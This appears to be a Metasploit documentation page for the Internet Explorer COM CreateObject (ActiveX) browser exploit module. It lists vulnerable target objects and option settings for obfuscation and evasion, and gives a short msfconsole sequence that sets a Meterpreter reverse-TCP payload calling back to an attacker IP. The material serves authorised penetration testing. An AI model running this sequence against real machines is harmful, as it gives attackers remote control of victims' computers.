Metasploit Penetration Testing Framework

modules / exploit / windows / browser / ie_createobject
OSVDB: CVE:
BID: MSB:
TEXT:

Internet Explorer COM CreateObject Code Execution

This module exploits a generic code execution vulnerability in Internet Explorer by abusing vulnerable ActiveX objects.

Rank

  • Excellent

Authors

  • hdm < hdm [at] metasploit.com >

References

Exploit Targets

  • 0 - Automatic (default)
  • 1 - MS06-014 - RDS.DataSpace
  • 2 - MS06-014 - RDS.DataSpace
  • 3 - MS06-073 - WMIScriptUtils.WMIObjectBroker2.1
  • 4 - UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1
  • 5 - UNKNOWN - SoftwareDistribution.WebControl.1
  • 6 - UNKNOWN - VsmIDE.DTE
  • 7 - UNKNOWN - DExplore.AppObj.8.0
  • 8 - UNKNOWN - VisualStudio.DTE.8.0
  • 9 - UNKNOWN - Microsoft.DbgClr.DTE.8.0
  • 10 - UNKNOWN - VsaIDE.DTE
  • 11 - UNKNOWN - Business Object Factory
  • 12 - UNKNOWN - Outlook Data Object
  • 13 - UNKNOWN - Outlook.Application

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/browser/ie_createobject
msf exploit(ie_createobject) > show payloads
msf exploit(ie_createobject) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_createobject) > set LHOST [MY IP ADDRESS]
msf exploit(ie_createobject) > exploit

Module Options

SRVHOST The local host to listen on. (default: 0.0.0.0)
SRVPORT The local port to listen on. (default: 8080)
SSL Negotiate SSL for incoming connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH The URI to use for this exploit (default is random)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
DynamicSehRecord Generate a dynamic SEH record (more stealthy)
EnableContextEncoding Use transient context when encoding payloads
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)

Copyright © 2003-2010 Rapid7 LLC
Rapid7 Privacy Statement